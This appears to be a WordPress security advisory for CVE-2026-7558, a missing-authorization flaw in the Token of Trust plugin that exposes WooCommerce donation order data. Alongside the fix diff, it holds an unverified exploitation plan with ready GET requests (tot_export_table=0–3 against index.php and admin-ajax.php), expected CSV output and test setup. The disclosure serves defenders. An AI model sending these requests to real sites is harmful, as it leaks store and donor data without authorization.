CVE-2026-7558

Age Verification & Identity Verification by Token of Trust <= 4.0.2 - Missing Authorization to Unauthenticated Information Exposure via 'tot_export_table' Parameter

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.0.3
Patched in
1d
Time to patch

Description

The Age Verification & Identity Verification by Token of Trust plugin for WordPress is vulnerable to unauthorized access in all versions up to and including 4.0.2. This is due to the handle_export_table() function being registered on the WordPress 'init' hook, which fires for all requests, including those from unauthenticated visitors, without any capability check. This makes it possible for unauthenticated attackers to download a CSV file containing sensitive WooCommerce donation data, including order dates, order IDs, charitable donation amounts, and admin-only order edit URLs, simply by visiting any page on the site with the 'tot_export_table' GET parameter set to a numeric value (0–3).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.0.2
PublishedJuly 8, 2026
Last updatedJuly 9, 2026
Affected plugintoken-of-trust

What Changed in the Fix

Changes introduced in v4.0.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-7558 ## 1. Vulnerability Summary The **Age Verification & Identity Verification by Token of Trust** plugin for WordPress (versions <= 4.0.2) suffers from a **Missing Authorization** vulnerability that leads to unauthenticated information exposure. The plugi…

Show full research plan

Exploitation Research Plan - CVE-2026-7558

1. Vulnerability Summary

The Age Verification & Identity Verification by Token of Trust plugin for WordPress (versions <= 4.0.2) suffers from a Missing Authorization vulnerability that leads to unauthenticated information exposure.

The plugin registers a data export function, handle_export_table(), on the WordPress init hook. This hook executes for every request, including those from unauthenticated visitors. The function lacks any capability checks (e.g., current_user_can('manage_options')) or CSRF nonce verification. Consequently, any user can trigger a CSV download containing sensitive WooCommerce donation data, including order IDs, dates, donation amounts, and internal admin URLs for editing orders.

2. Attack Vector Analysis

  • Vulnerable Endpoint: Any WordPress URL (Frontend or Backend) as the logic is tied to the init hook.
  • Vulnerable Parameter: tot_export_table (GET).
  • Authentication Level: Unauthenticated (PR:N).
  • Preconditions: WooCommerce must be installed and active, and there must be orders with the tot_donation_value meta-data.

3. Code Flow

  1. Entry Point: During WordPress initialization, the init hook is fired.
  2. Hook Registration: In integrations/woocommerce/class-donations.php, the __construct() method registers the callback:
    add_action( 'init', array( $this->hookHandler, 'handle_export_table' ) );
  3. Trigger: handle_export_table() checks for the existence of the tot_export_table GET parameter:
    public function handle_export_table() {
        if ( isset( $_GET['tot_export_table'] ) && is_numeric( $_GET['tot_export_table'] ) ) {
            $this->export_table_as_csv();
        }
    }
    
  4. Data Retrieval: export_table_as_csv() calls self::get_tables().
  5. Query Logic: get_tables() uses wc_get_orders() with a meta_query looking for orders where tot_donation_value > 0.
  6. Sink: The function export_table_as_csv() generates a CSV, sets the Content-Type: text/csv header, and outputs the file content via readfile(), then calls exit().

4. Nonce Acquisition Strategy

No nonce is required for this exploit.

A review of integrations/woocommerce/class-donations.php confirms that neither handle_export_table() nor export_table_as_csv() performs any nonce validation (e.g., check_admin_referer or wp_verify_nonce). The vulnerability stems specifically from the lack of these security controls on a sensitive data export operation.

5. Exploitation Strategy

The exploit involves a simple GET request to the WordPress site with the targeting parameter.

  • Step 1: Prepare a request to the site root with the tot_export_table parameter set to 0 (which corresponds to "All months" in get_default_tables_var()).
  • Tool: http_request (Playwright).
  • Request Details:
    • Method: GET
    • URL: http://<target-domain>/index.php?tot_export_table=0
  • Expected Response:
    • Status: 200 OK
    • Header: Content-Type: text/csv
    • Header: Content-Disposition: attachment; filename=tot_donations_...csv
    • Body: A CSV formatted string starting with Date,Order number,Charitable amount,Order Url.

6. Test Data Setup

To verify the exploit, the environment must contain WooCommerce data:

  1. Install WooCommerce: Ensure the WooCommerce plugin is active.
  2. Create Orders: Create at least two WooCommerce orders.
  3. Inject Meta Data: Use WP-CLI to add the donation meta-key to the orders:
    # Example for Order ID 123
    wp post meta add 123 tot_donation_value 15.50
    # Example for Order ID 124
    wp post meta add 124 tot_donation_value 5.00
    
  4. Verify Setup: Check that the plugin's "View Donations" page (if accessible) would normally show these.

7. Expected Results

A successful exploit will return a raw CSV download. The content will look like this:

Date,Order number,Charitable amount,Order Url
"2023-10-27 10:00:00","123","$15.50","http://example.com/wp-admin/post.php?post=123&action=edit"
"2023-10-27 11:00:00","124","$5.00","http://example.com/wp-admin/post.php?post=124&action=edit"

8. Verification Steps

  1. Response Content: Verify the response body contains the string Date,Order number,Charitable amount,Order Url.
  2. Data Integrity: Compare the IDs and amounts in the CSV with the output of:
    wp post meta get 123 tot_donation_value
    
  3. Auth Status: Perform the request in an unauthenticated state (no session cookies) to confirm the "Missing Authorization" aspect.

9. Alternative Approaches

If index 0 ("All months") returns no data due to date filtering in get_tables(), attempt to use other table indices defined in get_default_tables_var():

  • ?tot_export_table=1 (Current month)
  • ?tot_export_table=2 (Last month)
  • ?tot_export_table=3 (Two months ago)

If the site uses a custom permalink structure that intercepts parameters at the root, try targeting admin-ajax.php instead (as init still fires there):

  • GET /wp-admin/admin-ajax.php?tot_export_table=0
Research Findings
Static analysis — not yet PoC-verified

Summary

The 'Age Verification & Identity Verification by Token of Trust' plugin for WordPress suffers from a missing authorization vulnerability due to an export handler registered on the 'init' hook. Because the handler lacks capability checks and CSRF protection, unauthenticated attackers can download CSV files containing sensitive WooCommerce donation data, including order IDs, donation amounts, and internal administration URLs.

Vulnerable Code

// integrations/woocommerce/class-donations.php line 97
public function __construct() {
	$this->hookHandler = HookHandler::getInstance( $this );
	add_action( 'init', array( $this->hookHandler, 'handle_export_table' ) );
}

public function handle_export_table() {
	if ( isset( $_GET['tot_export_table'] ) && is_numeric( $_GET['tot_export_table'] ) ) {
		$this->export_table_as_csv();
	}
}

---

// integrations/woocommerce/class-donations.php line 111
public function export_table_as_csv() {
	$table_no = $_GET['tot_export_table'];
	$tables   = self::get_tables();
	if ( ! isset( $tables[ $table_no ] ) ) {
		return;
	}
	$table = $tables[ $table_no ];

	// Define CSV filename
	$filename = 'tot_donations_' . time() . '.csv';

	// Set CSV headers
	$header_row = array( 'Date', 'Order number', 'Charitable amount', 'Order Url' );
	// ... (truncated)

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/token-of-trust/4.0.2/admin/settings-page/view-donations.php /home/deploy/wp-safety.org/data/plugin-versions/token-of-trust/4.0.3/admin/settings-page/view-donations.php
--- /home/deploy/wp-safety.org/data/plugin-versions/token-of-trust/4.0.2/admin/settings-page/view-donations.php	2026-05-13 20:02:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/token-of-trust/4.0.3/admin/settings-page/view-donations.php	2026-05-20 14:37:00.000000000 +0000
@@ -30,7 +30,7 @@
 									<h3>Sum of Charitable donations: <?php echo esc_html( get_woocommerce_currency_symbol() . $table['sum'] ); ?></h3>
 									<div class="tot-export-wrapper">
 
-										<a href="?page=totsettings_donations&tot_export_table=<?php echo esc_attr( $key ); ?>" class="tot-btn-export">
+										<a href="?page=totsettings_donations&tot_export_table=<?php echo esc_attr( $key ); ?>&tot_export_nonce=<?php echo esc_attr( wp_create_nonce( 'tot_export_table' ) ); ?>" class="tot-btn-export">
 											export
 										</a>
 									</div>
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/token-of-trust/4.0.2/integrations/woocommerce/class-donations.php /home/deploy/wp-safety.org/data/plugin-versions/token-of-trust/4.0.3/integrations/woocommerce/class-donations.php
--- /home/deploy/wp-safety.org/data/plugin-versions/token-of-trust/4.0.2/integrations/woocommerce/class-donations.php	2026-05-13 20:02:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/token-of-trust/4.0.3/integrations/woocommerce/class-donations.php	2026-05-20 14:37:00.000000000 +0000
@@ -97,16 +97,22 @@
 
 	public function __construct() {
 		$this->hookHandler = HookHandler::getInstance( $this );
-		add_action( 'init', array( $this->hookHandler, 'handle_export_table' ) );
+		add_action( 'admin_init', array( $this->hookHandler, 'handle_export_table' ) );
 	}
 
 	public function handle_export_table() {
 		if ( isset( $_GET['tot_export_table'] ) && is_numeric( $_GET['tot_export_table'] ) ) {
+			if ( ! current_user_can( 'manage_woocommerce' ) ) {
+				return;
+			}
+			if ( ! isset( $_GET['tot_export_nonce'] ) || ! wp_verify_nonce( sanitize_key( $_GET['tot_export_nonce'] ), 'tot_export_table' ) ) {
+				return;
+			}
 			$this->export_table_as_csv();
 		}
 	}
 	public function export_table_as_csv() {
-		$table_no = $_GET['tot_export_table'];
+		$table_no = intval( $_GET['tot_export_table'] );
 		$tables   = self::get_tables();
 		if ( ! isset( $tables[ $table_no ] ) ) {
 			return;

Exploit Outline

The exploit is executed by an unauthenticated attacker by sending a standard GET request to any WordPress endpoint (frontend or backend). By providing the 'tot_export_table' parameter with a numeric value (0, 1, 2, or 3), the attacker triggers the handle_export_table() callback. Since this callback is hooked to 'init' and lacks both capability checks and nonce validation, the server will process the request, generate a CSV containing WooCommerce order data (filtered by the presence of a donation meta-key), and return it as a file download. No special payload beyond the GET parameter is required.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.